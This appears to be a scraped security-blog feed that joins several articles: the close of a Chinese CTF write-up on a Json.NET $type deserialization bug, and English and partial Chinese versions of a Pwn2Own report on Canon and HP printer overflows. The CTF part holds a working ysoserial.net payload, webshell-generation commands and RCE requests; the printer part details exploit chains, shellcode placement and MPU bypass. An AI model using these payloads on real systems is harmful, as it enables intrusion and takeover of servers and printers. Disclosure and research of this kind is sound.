我們都知道當 DeserializeObject 的來源字串可以控制並且開啟 TypeNameHandling 時,我們可以輕易利用反序列化能初始化任意物件的特性執行任意程式碼或系統指令,然而在 Deep Clone 的使用情境下,來源字串是 SerializeObject 的輸出結果,這代表著任何標記物件名稱的 $type 屬性也是由 Json.NET 所控制而非由我們控制,所以這表示這段程式碼應該是無法被利用的才對,除非,若我們可以覆蓋 $type 屬性的話呢?

這個疑問勾起了我的好奇心,因此讓我決定進行一些嘗試,當我嘗試用以下程式碼序列化一個 Dictionary 物件時,我得到了一個有趣的結果。

Dictionary<string,string>source=newDictionary<string,string>();source.Add("key","value");JsonSerializerSettingssettings=newJsonSerializerSettings(){TypeNameHandling=TypeNameHandling.All};stringresult=JsonConvert.SerializeObject(source,settings);

結果:

{"$type":"System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib","key":"value"}

當我們序列化 Dictionary 時,我們所插入的任何 key 和 value 的 pair 都和 $type屬性值在同一個層級,那假設我們 Dictionary 內含有值為 $type的 key 時,會發生什麼事情?

Dictionary<string,string>source=newDictionary<string,string>();source.Add("$type","System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");JsonSerializerSettingssettings=newJsonSerializerSettings(){TypeNameHandling=TypeNameHandling.All};JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source,settings),settings);

會得到一個例外錯誤:

Newtonsoft.Json.JsonSerializationException: ‘Type specified in JSON ‘System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a’ is not compatible with ‘System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’. Path ‘$type’, line 1, position 236.’

若建立 debug 斷點將 JsonConvert.SerializeObject 的結果字串印出來會得到:

{"$type":"System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib","$type":"System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"}

其實從這段錯誤訊息就可以猜測出大致出錯的可能性,如果再稍微追入程式碼就會發現,我們設定的第二個 $type 確實成功讓 Json.NET 嘗試去覆蓋第一個 $type 指定的物件類型,但 Json.NET 在這段的處理會檢查第二個物件類型是否能夠相容於第一個物件類型,也就是檢查是否 assignable,若我們能找到某個類 Dictionary 物件可以成為 gadget 的話,這段程式碼也許將成為 exploitable。

但要挖掘新的 gadget 十分困難,而且就算找到了,要作為 Wargame 題目也可能過於刁難,所以我這邊找到了一種變種情境,雖然是不常見的設定,但我覺得作為一道題目情境的話會非常有趣。

這個題目情境的關鍵是 MetadataPropertyHandling.ReadAhead這個設定值,當提供給 JsonConvert.DeserializeObject 的 JsonSerializerSettings 中有包含 MetadataPropertyHandling.ReadAhead 時,它會假設 $type 不是在第一個屬性值的位置,這會導致 Json.NET 先嘗試從頭到尾把 JSON 解析完並找出 $type 後才開始建立物件,在此情境下也會讓我們注入的第二個 $type 直接覆蓋第一個 $type 的值,所以假如程式碼改寫為如下的程式碼時,這個 Clone function 將會變得 exploitable。

Dictionary<string,string>source=newDictionary<string,string>();source.Add("you control the key","you control the value");JsonSerializerSettingssettings=newJsonSerializerSettings(){TypeNameHandling=TypeNameHandling.All,MetadataPropertyHandling=MetadataPropertyHandling.ReadAhead};JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source,settings),settings);

我們可以來實際利用一個 gadget 進行 code execution 測試,這邊我使用 ysoserial.net 產生 RolePrincipal gadget 的 payload ( ysoserial.exe -g RolePrincipal -f Json.Net -c calc ),因為這個 gadget 只需要控制 JSON 一層的字串就可以執行指令,題目情境相對容易建構。

測試執行:

Dictionary<string,string>source=newDictionary<string,string>();source.Add("$type","System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");source.Add("System.Security.ClaimsPrincipal.Identities","AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==");JsonSerializerSettingssettings=newJsonSerializerSettings(){TypeNameHandling=TypeNameHandling.All,MetadataPropertyHandling=MetadataPropertyHandling.ReadAhead};JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source,settings),settings);

嘗試執行以上程式碼後,成功彈出計算機!

既然驗證此設定是可以 exploit 的,剩下就是包裝一個應用程式的情境,而最終趕出的成品就是 My todolist 這道題目。

理論上直接使用 RolePrincipal 就能執行系統指令了,只是這個 exploit 執行後不會有任何指令回顯,而我們還需要嘗試找到並讀取 flag,為了後續更便利操作,我們可以嘗試將漏洞轉換成 web shell,詳細可以參考我的另一篇文章「玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門!」,但這個方法的 gadget 是需要使用 BinaryFormatter 執行 OnDeserialization callback 進而觸發 gadget chain 的執行,但如果你有 clone 最新版本的 ysoserial.net 來自行編譯的話,會發現 help 訊息中多了一個新的參數 –bgc。

--bgc, --bridgedgadgetchains=VALUE
    Chain of bridged gadgets separated by comma (,). 
      Each gadget will be used to complete the next 
      bridge gadget. The last one will be used in the 
      requested gadget. This will be ignored when 
      using the searchformatter argument.

沒錯,為這個專案貢獻的研究者們成功找到 gadget chain 實現將 Json.NET 等需要 setter 類型的 gadget 的 formatter 轉換成 BinaryFormatter 的二次反序列化,從而可以執行更多的 gadget,其中當然就包括 ActivitySurrogateDisableTypeCheck 和 ActivitySurrogateSelectorFromFile 這兩個最重要的 gadget,我們也因此可以再次使用這個功能實現反序列化攻擊到 fileless webshell 的 exploit! 產生 payload 的指令:

ysoserial.exe -g RolePrincipal -f Json.Net --bgc ActivitySurrogateDisableTypeCheck -c 1

ysoserial.exe -g RolePrincipal -f Json.Net --bgc ActivitySurrogateSelectorFromFile -c ".\ExploitClass.cs;dlls\System.dll;dlls\System.Web.dll"

最後題目只要在正常註冊後隨便新增一個 note 進行修改,再分別對兩個 payload 執行一次類似下面的請求,就可以達成有回顯的 RCE 了!

Request 1:

POST/Api/UpdateTodoHTTP/1.1Host:localhost:8003Content-Type:application/x-www-form-urlencodedContent-Length:xxCookie:<session>

uuid=00c3abe9-1f7c-4cda-8c24-60c59ac01f3f&field=$type&value=System.Web.Security.RolePrincipal,+System.Web,+Version%3d4.0.0.0,+Culture%3dneutral,+PublicKeyToken%3db03f5f7f11d50a3a

Request 2:

POST/Api/UpdateTodoHTTP/1.1Host:localhost:8003Content-Type:application/x-www-form-urlencodedContent-Length:xxCookie:<session>

uuid=00c3abe9-1f7c-4cda-8c24-60c59ac01f3f&field=System.Security.ClaimsPrincipal.Identities&value=<payload>

Request 3:

POST/Api/MyProfileHTTP/1.1Host:localhost:8003Content-Type:application/x-www-form-urlencodedContent-Length:10Cookie:<session>

cmd=whoami

Your printer is not your printer ! - Hacking Printers at Pwn2Own Part I

$
0
0

Printer has become one of the essential devices in the corporate intranet in the past few years, and its functionalities have also increased significantly. Not only printing or faxing, cloud printing services like AirPrint are also supported to make it easier to use. Direct printing from mobile devices is now a basic requirement in the IoT era. We also use it to print some internal business documents of the company, which makes it even more important to keep the printer secure.

At 2021, we found Pre-auth RCE vulnerabilities(CVE-2022-24673 and CVE-2022-3942) in Canon and HP printers, and vulnerabilty(CVE-2021-44734) in Lexmark. We used these vulnerabilities to exploit Canon ImageCLASS MF644Cdw, HP Color LaserJet Pro MFP M283fdw and Lexmark MC3224i in Pwn2Own Austin 2021. Following we will describe the details of the Canon and HP vulnerabilities and exploitation.

This research is also presented at HITCON 2022 and CODE BLUE 2022. You can check the slides here.

Printer

In the early days, it often required an IEEE1284 or USB Printer cable to connect the printer to the computer. We also had to install the printer driver provided by the manufacturer. Nowadays, most of the printers on the market do not requires USB or traditional cable. As long as the printer is connected to the intranet through a LAN cable, we can find and utilize the printer immediately.

Printer also provides not only printing but also various services such as FTP, AirPrint, Bonjour. Nothing more than to make printing more convenient.

Motivation

Why do we want to research Printers ?

Red Team

While doing red team assessment, we found that printers generally appeared in the corporate intranet. There are almost always more than one, but they are usually overlooked and lack of update. It is also an excellent target for red team to hide the action because it is often difficult to detect. It is worth mentioning that larger enterprises are also likely to connect them to AD and become the entry point for confidential information.

Pwn2Own Austin 2021

Another reason is that printers have become one of the main targets of Pwn2Own Mobile. We were also preparing to participate the Pwn2Own stage again, so we decided to start with it.

At first, we thought they were trivial. Like most IoT devices, there are often many command injection vulnerabilities. However, many printers use RTOS instead of Linux systems, which drove our determination to challenge it.

This article will focus on the Canon and HP parts.

Analysis

In the beginning, we read many articles, all of them need to tear down the hardware for analysis and obtaining the debug console. Then they use the memory dumping method to obtain the original firmware. But in the end, we chose another way and didn’t tear down any of the printers.

Canon

Firmware Extract

The initial analysis version is v6.03, we used binwalk to analyze it at the beginning, but the firmware is obfuscated, we can’t analyze it directly.

Obfuscated Canon ImageCLASS MF644Cdw fimware

We also tried “TREASURE CHEST PARTY QUEST: FROM DOOM TO EXPLOIT” by Synacktiv and “Hacking Canon Pixma Printers – Doomed Encryption” by Contextis research. But this time, it’s an entirely different series, and we can’t use the same method to deobfuscate the firmware.

So we started to analyze the obfuscated firmware format and content.

We can see from the obfuscated firmware that the beginning is the Magic NCFW, followed by the size of the firmware, and other parts are obfuscated data.

So we started to think that maybe the old firmware of this printer is not obfuscated until a specific version. If we can get the intermediate version, maybe there is a chance to get the deobfuscation method. The magic header also lets us distinguish whether it is obfuscated.

We can obtain the firmware download URL through the official website or the update packet.

https://pdisp01.c-wss.com/gdl/WWUFORedirectTarget.do?id=MDQwMDAwNDc1MjA1&cmp=Z01&lang=EN

After analysis, it can be split into three parts.

We can roughly infer the rules of the download URL. We use this method to download all versions of firmware. The versions we downloaded at that time included:

  • V2.01
  • V4.02
  • V6.03
  • V9.03
  • V10.02

V10.02 is a version that will be released in a few weeks, and you can download it from here first. After downloading all versions, we found that the firmware for this series is obfuscated, and there is no way to deobfuscate it from the previous version.

But we can try downloading Canon’s other series firmware and find out if there is a similar obfuscation algorithm. After all the firmware is downloaded, the total file size is 130 GB. We can find unobfuscated firmware by grepping for NCFW and servicemode.html.

Finally, we found four firmware that meets the conditions. We chose WG7000 series printers to analyze and found the suspected deobfuscation function.

Fortunately, by rewriting this function, the MF644Cdw firmware can be deobfuscated.

After the firmware is extracted, we needed the image base address so that IDA can effectively identify and reference the strings. At first, we find the image base through the common analysis tool rbasefind.

The first base we found was 0x40b0000. But after decompiled it with IDA, most of the function did not correspond to the debug message string.

As shown in the figure above, loc_4489AC08 should point to the string of the function name, but this address is not a regular string. Instead, it is recognized as a code section, and the content is not a string. This indicates that this location is not an actual address. We thought there was a slight offset, but it did not cause big problem for decompiling functions.

How to solve this problem? We first found a function with a known function name and the function name string belonging to it to make adjustments. After finding the offset, we adjusted the image base to the correct address. The final image base found is 0x40affde0. After adjustment, you can see that the original function name can be identified correctly.

Next, we can analyze the firmware typically. After preliminary analysis, we can find out the of Canon ImageCLASS MF644Cdw:

  • OS - DryOSV2
    • Customized RTOS by Canon
  • ARMv7 32bit little-endian
  • Linked with application code into single image
    • Kernel
    • Service

HP

HP’s firmware is relatively easy to obtain. We can use binwalk -Z to obtain the correct firmware. It took about 3-4 days. The other steps, such as finding the image base address, are just the same as Canon. After preliminary analysis, the architecture of HP Color LaserJet Pro MFP M283fdw is as follows:

  • OS
    • RTOS - Modify from ThreadX/Green Hills
  • ARM11 Mixed-endian
    • Code - little-endian
    • Data - Big-endian

Attack Surface

Many services are enabled by default in most printers on the market today.

ServicePortDescription
RUITCP 80/443Web interface
PDLTCP 9100Page Description Language
PJLTCP 9100Printer Job Language
IPPTCP 631Internet Printing Protocol
LPDTCP 515Line Printer Daemon Protocol
SNMPUDP 161Simple Network Management Protocol
SLPTCP 427Service Location Protocol
mDNSUDP 5353Multicast DNS
LLMNRUDP 5355Link-Local Multicast Name Resolution

Usually, RUI (web interface) is opened for facilitate management. The 9100 Port is also commonly used by printers, mainly used to transmit printed data.

Others vary between vendors, but the listed ones are usually present, and most are enabled by default. After evaluating the overall architecture, we focus on service discovery and the DNS series of services. Our long-term experience has often observed that such protocols implemented by manufacturers are often prone to vulnerabilities. The primary services we analyzed were SLP, mDNS, and LLMNR.

Next, we take Pwn2Own Austin 2021 as a case study to see what problems these protocols often have.

Hacking printers at Pwn2Own

Canon

Service Location Protocol

SLP is a service discovery protocol that allows computers and other devices to find services in local area network. In the past, there were many vulnerabilities in EXSI’s SLP. Canon implements the SLP service mainly by themselves. For details about SLP service, please refer to RFC2608.

Before we look into the detail of SLP, we need to talk about the structure of SLP packets.

SLP Packet Structure

Here we only need to pay attention to function-id. This field determines the request type and the format of the payload part. Canon only implements Service Request and Attribute Request.

In the Attribute Request (AttrRqst), the user can obtain the attribute list according to the service and scope. We can specify a scope to look for, such as Canon printers.

Example:

The Attribute Request structure is as follows

It mainly comprises length (Length) and value (Value). Parsing this kind of format should be careful because there are often bugs here. In fact, there is a vulnerability in Canon when paring this format.

Vulnerability

When it parses the scope list, it converts escape characters to ASCII. For example, \41 will be converted to A. But what’s wrong with this simple transformation? Let’s take a look at the pseudocode.

intparse_scope_list(...){chardestbuf[36];unsignedintmax=34;parse_escape_char(...,destbuf,max);}

As shown in the above code, in parse_scope_list, it passes a fixed size buffer destbuf and the maximum size 34 to parse_escape_char. No vulnerability here. Let’s take a look at parse_escape_char.

int__fastcallparse_escape_char(unsigned__int8**pdata,_WORD*pdatalen,unsigned__int8*destbuf,_WORD*max){unsignedintidx;// r7intv7;// r9intv8;// r8interror;// r11unsigned__int8*v10;// r5unsignedinti;// r6intv12;// r1intv13;// r0unsignedintv14;// r1boolv15;// ccintv16;// r2boolv17;// ccunsigned__int8v18;// r0intv19;// r0unsigned__int8v20;// r0unsignedintv21;// r0unsignedintv22;// r0idx=0;v7=0;v8=0;error=0;v10=*pdata;for(i=(unsigned__int16)*pdatalen;i&&!v7;i=(unsigned__int16)(i-1)){v12=*v10;if(v12==','){if(i<2)return-4;v7=1;}else{if(v12=='\\')//----------------------[1]{if(i<3)return-4;v13=v10[1];v14=v13-'0';v15=v13-(unsignedint)'0'>9;if(v13-(unsignedint)'0'>9)v15=v13-(unsignedint)'A'>5;if(v15&&v13-(unsignedint)'a'>5)return-4;v16=v10[2];v17=v16-(unsignedint)'0'>9;if(v16-(unsignedint)'0'>9)v17=v16-(unsignedint)'A'>5;if(v17&&v16-(unsignedint)'a'>5)return-4;if(v14<=9)v18=0x10*v14;elsev18=v13-0x37;if(v14>9)v18*=0x10;*destbuf=v18;//-------------------[2]v19=v10[2];v10+=2;v20=(unsignedint)(v19-0x30)>9?(v19-55)&0xF|*destbuf:*destbuf|(v19-0x30)&0xF;*destbuf=v20;LOWORD(i)=i-2;if(!strchr((int)"(),\\!<=>~;*+",*destbuf)){v21=*destbuf;if(v21>0x1F&&v21!=0x7F)return-4;}gotoLABEL_40;}if(strchr((int)"(),\\!<=>~;*+",v12))//-----------------------[3]return-4;v22=*v10;if(v22<=0x1F||v22==0x7F)return-4;if(v22!=''){v8=0;gotoLABEL_35;}if(!v8){v8=1;LABEL_35:if((unsigned__int16)*max<=idx)//----------------------[4] {error=1;gotonext_one;}if(v8)LOBYTE(v22)=32;*destbuf=v22;LABEL_40:++destbuf;idx=(unsigned__int16)(idx+1);}}next_one:++v10;}if(error){*max=0;debugprintff(3645,4,"Scope longer than buffer provided");LABEL_48:*pdata=v10;*pdatalen=i;return0;}if(idx){*max=idx;gotoLABEL_48;}return-4;}

You can see that [3] is a case that handles no escape characters. It checks whether the length exceeds the maximum[4]. However, in case [1] handling escape characters, there is no length check, and the converted result is directly copied to the destination buffer [2].

Once given a long escape characters string, it leads to a stack overflow.

After finding the vulnerability, the first thing is to see what protection it has to decide on the exploit plan. But after analysis, we found that the Canon printer does not have any memory-related protection.

Protection

  • No Stack Guard
  • No DEP
  • No ASLR

No Stack Guard, no DEP and no ASLR, hacker friendly ! Like back to the 90s, just a stack overflow can control the world. Next, like the past stack overflow exploit method, we just need to find a fixed address to store the shellcode, overwrite the return address, and jump to the shellcode. Eventually, we found the BJNP service to store our shellcode.

BJNP

BJNP is also a service discovery protocol designed by Canon, and there have been many vulnerabilities in the past. Synacktiv has also exploited Pixma MX925 through this protocol. For more details, please refer to here. BJNP stores the controllable session data in the global buffer. We can use this function to put our shellcode in a fixed location without strict restrictions.

Exploitation Step

  • Use BJNP to store our shellcode on a global buffer
  • Trigger stack overflow in SLP and overwrite return address
  • Return to the global buffer

Pwn2Own Austin 2021

Generally, the Pwn2Own organizer(ZDI) requests participants to prove that we have pwned the target. The presentation method here is up to players. Initially, we wanted to print the logo directly on the LCD screen as we exploited the Lexmark printer.

However, we spent a lot of time figuring out how to print the image on the screen, which was longer than finding vulnerabilities and writing exploits. In the end, a safer approach was adopted because of the time constraints, directly changing the Service Mode string and printing it on the screen.

In fact, it is not that difficult to print the image on the screen. Other teams have found methods. Those who are interested can try it out :)

Debug

Some people may wonder how to debug in this environment. There are usually several ways to debug:

  • Teardown the printer and get debug console.
  • Use an old exploit to install customized debugger

However, we have updated to the latest version at that time. There is no known vulnerability in this version, so we need to downgrade the version back. Tearing down the hardware also takes additional time and cost. But we already had a vulnerability at that time, it was not cost-effective to tear down the hardware or downgrade. Finally, we still used the most traditional sleep debug method.

After ROP or executing shellcode, print the result to a web page or other visible place, then call sleep. We can read the result from the web page and finally restart the machine to repeat this process.

Next, let’s talk about HP printers.

HP

LLMNR is very similar to mDNS. It provides base name resolution on the same local link. But it is more straightforward than mDNS and usually also cooperates with some service discovery protocols. Here is a brief introduction to this mechanism:

In the domain name resolution of the local area network, Client A will first use multicast to find the location of Client C in the local area network.

After Client C receives, Client C sends it back to Client A, which implements the link-local domain name resolution.

LLMNR is mainly based on the DNS packet format, and the format is as follows:

The main format is the header followed by Queries, and Count represents the number of queries of different types.

Each DNS Query is composed of many labels, and each label will comprise length and string, as shown in the figure above. There is also a Message Compression mechanism. Dealing with these is very prone to vulnerabilities. “THE COST OF COMPLEXITY: Different Vulnerabilities While Implementing the Same RFC” at BlackHat 2021 also mentions similar problems.

Vulnerability

Let’s look at HP’s implementation:

int llmnr_process_query(...){
    char result[292];
    consume_labels(llmnr_packet->qname,result,...);
    ...
}

Here you can see that when HP processes LLMNR packets, it passes a fixed size buffer to consume_lables. consume_lables is used to process DNS labels, and the fixed buffer is used to store the results.

int __fastcall consume_labels(char *src, char *dst, llmnr_hdr *a3)
{
  int v3; // r5
  int v4; // r12
  unsigned int len; // r3
  int v6; // r4
  char v7; // r6
  bool v8; // cc
  int v9; // r0
  unsigned __int8 chr; // r6
  int result; // r0

  v3 = 0;
  v4 = 0;
  len = 0;
  v6 = 0;
  while ( 1 )
  {
    chr = src[v3]; //-------------[1]
    if ( !chr )
      break;
    if ( (int)len <= 0 )
    {
      v8 = chr <= 0xC0u;
      if ( chr == 0xC0 )
      {
        v9 = src[v3 + 1];
        v6 = 1;
        v3 = 0;
        src = (char *)a3 + v9;
      }
      else
      {
        len = src[v3++];
        v8 = v4 <= 0;
      }
      if ( !v8 )
        dst[v4++] = '.';
    }
    else
    {
      v7 = src[v3++];
      len = (char)(len - 1);
      dst[v4++] = v7; //----------[2]
    }
  }
  result = v3 + 1;
  dst[v4] = 0;
  if ( v6 )
    return 2;
  return result;
}

We can see that [1] will get the label length and then process it according to the type. [2] is used as a case of length. There is no length check here, and the label is directly written into the dst buffer, leading to stack overflow. At this point, we thought we could exploit it in the similar way as Canon. However, when we were writing the exploit, we found that HP printers have more protection mechanisms.

Protection

  • No Stack Guard
  • XN(DEP)
  • Memory Protect Unit (MPU)
  • No ASLR

In this case, XN and MPU memory protection mechanisms are enabled, and this vulnerability has more restrictions. We can only overflow about 0x100 bytes without null byte, which significantly restricts our ROP and makes it more challenging. We need to find other vulnerabilities or methods to achieve our goal.

After a while, we started thinking about how HP printers implement XN(DEP) and MPU. Let’s review HP RTOS:

  • Linked with application code into single image
  • Many tasks run
    • in the same virtual address space
    • in kernel-mode

After reviewing, we thought, can we bypass it by understanding the MMU and MPU in HP RTOS?

MMU in HP M283fdw

HP M283fdw uses one-level page table translation and each translation table entry for translating a 1MB section. The translation table is located at 0x4003c000.

Each translation table entry corresponds to a physical address and the permissions of the section. The CPU determines whether it can be executed or modified according to the entry. The permissions related here are AP, APX, and XN. We can also map any physical address through this translation table entry.

Generally, we can modify the translation table entry through ROP if we have stack overflow under high privileges. But when we tried to write directly to the translation table, the HP printer crashed.

We checked and found that the leading cause of the memory fault exception is that Memory Protection Unit(MPU) protects the translation table.

MPU in HP M283fdw

The MPU enables you to partition memory into regions and set individual protection attributes for each regions. It is an entirely different mechanism from MMU and is often found in IoT devices. HP enables MPU at boot and defines permissions for each region, so we cannot manipulate the page table.

After a long time of reverse engineering and referencing the ARM Manual, we found that the MPU can be turned off by clearing MPU_CTRL. We found that the location is 0xE0400304, slightly different from ARM’s spec.

Exploitation

After understanding HP’s MMU and MPU mechanism, we can easily use ROP to turn off the MPU and successfully modify the translation table entry. We can arbitrarily modify the code of any service, and we finally chose Line Printer Daemon(LPD). We modified it into a backdoor, read more payloads to the specified location, and finally executed the shellcode.

But there is one thing that must be mentioned. After the translation table entry and LPD code are overwritten, be sure to flush TLB and invalidate I-cache and D-cache. Otherwise, it is very likely to execute in the old one, causing the exploit to fail.

Flash TLB

flush_tlb:
    mov r12, #0
    mcr p15, 0, r12, c8, c7, 0

Invalidate I-cache

disable_icache:
    mrc p15, 0, r1, c1, c0, 0
    bic r1, r1, #(1 << 12)
    mcr p15, 0, r1, c1, c0, 0

Exploitation Step

  • Trigger stack overflow in LLMNR and overwrite return address
  • Use limited ROP to
    • disable MPU
    • modify translation table entry and get read-write execute permission
    • flush TLB
    • modify the code of LPD
    • invalidate I-cache and D-cache
  • Use modified LPD to read our shellcode and jump to shellcode

Pwn2Own Austin 2021

When we could execute the shellcode, we only had one week left, and we finally chose to use the exact string to display Pwned by DEVCORE on the LCD.

After that, we also tried to change the backdoor to the debug console to facilitate many functions, such as viewing memory information, playing music, etc.

F-Secure Labs used the function of playing music to present it at that time. It is fascinating. You can go here to look at the situation at the Pwn2Own.

Result

In Pwn2Own Austin 2021, we got 2nd place after pwning other devices and printers. We had a good experience and learned some new things.

Mitigation

Update

The first is to update regularly. All the printers mentioned have been patched. It is often ignored. We usually find printers lack of update for several years and even leave the default password directly in the corporate intranet.

Disable unused service

Another mitigation is to turn off services that are not in use as much as possible. Most printers default enable too many services that are usually unused. We even think that you can turn off the discovery service, just open the service you want to use.

Firewall

It would be better if you could apply a firewall. Most printers provide related functions.

Summary

With code execution on the printers, in addition to printing things on the LCD, we can use the printer to steal confidential information, whether it is confidential documents or some credential. We can also use the printer for lateral movement, and because it is hard to detect, making it an excellent target for the red team.

By the way, the protocols of the discovery service series on many printers are often vulnerable. If you want to find vulnerabilities in printers or other IoT devices, you can look in this direction.

To Be Continue

We also found several vulnerabilities in the printer series at Pwn2Own Toronto 2022 last year. We will be releasing detailed information soon, so stay tuned for Part II.

Reference

Your printer is not your printer ! - Hacking Printers at Pwn2Own Part I

$
0
0

印表機近年來已成為企業內網中不可或缺的設備之一,功能也隨著科技的發展日益增多,除了一般的傳真及列印之外,也開始支援 AirPrint 等雲端列印服務,讓列印更加方便,直接使用行動裝置就可以輕鬆列印,更成為了 IoT 中,不可或缺的一環,正因為其便利,也常被用於列印公司內部機敏文件,使得在企業中印表機的安全性更加的重要。

而前年我們也在 Canon 及 HP 的印表機中發現了 Pre-auth RCE 的漏洞(CVE-2022-24673CVE-2022-3942) 及 Lexmark 發現漏洞(CVE-2021-44734),並在 Pwn2Own Austin 2021 中取得了 Canon ImageCLASS MF644Cdw、 HP Color LaserJet Pro MFP M283fdw 及 Lexmark MC3224i 的控制權,而成功獲得 Pwn2Own 中駭客大師(Master of Pwn) 的點數,這篇研究將講述 Canon 及 HP 漏洞的細節及我們的利用方式。

此份研究亦發表於 HITCON 2022CODE BLUE 2022,你可以從這裡取得投影片!

Printer

早期在使用印表機時,往往會需要使用 IEEE1284 或是 USB 的 Printer cable 來將印表機接上電腦,並且在使用時會額外裝上廠商所附的驅動程式。而現今的印表機已可以接上網路,並多了各式各樣的功能,通常只要將印表機接上區網,區網中的電腦就可以輕易地發現你所新安裝的印表機。

目前市面上的印表機預設都開了非常多的服務,不外乎就是為了讓列印更加方便,像是 FTP、AirPrint、Bonjour 等等服務。

Motivation

為何要研究印表機呢?

紅隊內網需求

過去我們團隊在執行紅隊演練過程中,印表機普遍出現於現代企業內網中,幾乎都會有一台以上,但往往是被忽略的一塊,也常常沒在更新。印表機本身也非常適合作為攻擊者的藏身處,通常很難被偵測出來。值得一提的是比較大型的企業也很有可能將其接上 AD,成為獲取機密資訊的入口。

Pwn2Own Austin 2021

另外一點是印表機在 2021 時,首次成為了 Pwn2Own Mobile 主要推動的目標之一,而我們剛好當時也準備再次挑戰 Pwn2Own 舞台,便決定一探究竟。

起初我們原本以為非常簡單,跟多數的 IoT 設備一樣,能輕易的找到 Command injection 問題,殊不知有不少印表機都是使用 RTOS,並非一般的 Linux 系統,但這更是驅動了我們挑戰它的決心。

本篇將會著重在較為精彩的 Canon 及 HP 部分,Lexmark 有機會再談談。

Analysis

剛開始研究的時候,我們參考了許多資料都是需要拆解硬體來分析,才能獲得 debug console,再用 dump memory 方式來獲取原始的 firmware。但最終我們採用了其他的方式,並沒有拆解任何一台印表機。

Canon

Firmware Extract

初始分析版本為 v6.03,我們一開始使用 binwalk去解析它,但 firmware 是經過混淆的,我們並沒辦法直接解開。

圖: 經過混淆的 Canon ImageCLASS MF644Cdw fimware

我們這邊也嘗試過了 TREASURE CHEST PARTY QUEST: FROM DOOM TO EXPLOIT by Synacktiv 及 Hacking Canon Pixma Printers – Doomed Encryption by Contextis Research 的研究,但這次是完全不同的系列,我們無法使用同樣的方法解開混淆過的 firmware。

於是我們開始分析混淆過的 firmware 格式及內容。

我們大致上可以從混淆過的 firmware 看到,每個混淆過的 firmware 的開頭都會是 NCFW 這個 Magic,並帶有該 firmware 大小,而其他部分則是混淆過的資料。

於是我們開始猜想,也許這台印表機舊版本的 firmware 沒有混淆,直到某一版才開始混淆,如果可以抓到中介版本,可能有機會獲得解混淆的方法。而這個 Magic 也可以讓我們辨別是不是經過混淆的。

以下這個網址是透過官網或是擷取封包獲得的 firmware 下載網址

https://pdisp01.c-wss.com/gdl/WWUFORedirectTarget.do?id=MDQwMDAwNDc1MjA1&cmp=Z01&lang=EN

經過分析後,可以拆分為多個部分

約略可以歸納出下載網址的規則,我們可以藉由這個方法來載到所有版本的 firmware,當時我們載到的版本有

  • V2.01
  • V4.02
  • V6.03
  • V9.03
  • V10.02

而 v10.02 是幾周後會釋出的版本,可以先從這邊優先載到。載完所有版本後,我們發現該系列版本的 firmware 都是經過混淆的,無法從先前版本獲得解混淆的方法。但我們可以下載 Canon 其他系列的印表機,嘗試找找是否有類似的混淆演算法。載完約有 130 GB 大小。透過 grep 找 NCFWservicemode.html可以找到未混淆的 firmware。

最後找到四組符合條件的 firmware,我們這邊選擇了 WG7000 系列的印表機來分析,並找到了疑似解混淆的函式。

很幸運的,藉由重寫這個函式,可以解出明文的 MF644Cdw firmware。

